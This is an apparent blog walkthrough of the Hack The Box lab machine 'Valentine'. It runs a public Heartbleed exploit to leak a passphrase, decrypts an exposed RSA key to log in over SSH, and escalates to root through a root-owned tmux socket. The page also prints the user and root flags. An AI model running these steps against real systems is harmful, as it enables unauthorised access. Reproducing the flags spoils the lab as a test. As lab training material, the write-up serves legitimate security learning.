top of page

Valentine


Enumeration


As usual, let's start with nmap:

nmap -sV -sC 10.10.10.79

Port 80 is open so let's check via our browser:

Heart and blood...


Port 443 is open so let's check in our browser:

Let's do a scan of port 443 using:

nmap -sV -sC -p 443 --script vuln 10.10.10.79

This mentions the Heartbleed vulnerability. The blood and the hearts from earlier makes sense now!


From your VM, open a new command prompt window and type:

searchsploit heartbleed
Searchsploit is the command line search tool for Exploit-db

Let's use the first exploit on the list:

searchsploit -m exploits/multiple/remote/32764.py

This will copy the exploit straight into your current directory


ls

Let's run the exploit using:

python2 32764.py 10.10.10.79

If you scroll through, on the right side, you can see the following string:

aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==

This is base 64. We can decode it using:

echo aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== | base64 --decode

heartbleedbelievethehype


Let's keep that for later.


Let's now use gobuster to find any hidden directories:

gobuster dir -u http://10.10.10.79 -w /opt/useful/SecLists/Discovery/Web-Content/big.txt

We find 10.10.10.79/dev

Let's check it out:


Click on hype_key


Let's convert the above hex to ascii . Open a new command prompt and type:

cd Downloads
ls
wget http://10.10.10.79/dev/hype_key

To download the key to my VM

ls

The file is now here, it is called hype_key

cat hype_key | xxd -r -p

This command converts it to ascii directly


The key is as per below. But it is encrypted!

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46

DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70f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L3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL
suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW
l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----

Let's save the key under a new file called "hype_key_encrypted" using:

cat hype_key | xxd -r -p > hype_key_encrypted
ls

Let's now use openssl to try to decrypt using:

openssl rsa -in hype_key_encrypted -out hype_key_decrypted

It is asking for a passphrase. Let's try what we just found earlier:

heartbleedbelievethehype


It worked!


ls

Now we have a new file called hype_key_decrypted


Let's now try to ssh. Let's guess the username as hype:

ssh -i hype_key_decrypted hype@10.10.10.79

It works! we are in


whoami

cd Desktop

ls
cat user.txt

Congratulations! You got the user flag!


e6710a5464769fd5fcd216e076961750


Let's now check the root folder:


cd ..
ls
cd ..
ls
cd ..
ls

cd root

Our access is denied. So we need to escalate privileges.



Privilege Escalation


Go back to home directory

cd ~
ls -al

We find .bash_history


cat .bash_history

ps aux | grep tmux

Let's google tmux and find out more about this process. After some research, we find that we could use the following:

tmux -S /.devs/dev_sess

A new prompt window appears


whoami

We are root!


ls
cd ~
ls
cat root.txt

f1bb6d759df1f272914ebbc9ed7765b2


Congratulations! You got the root flag!



222 views0 comments

Recent Posts

See All

Previse

Backdoor

Lame

Comments

Rated 0 out of 5 stars.
No ratings yet

Add a rating
bottom of page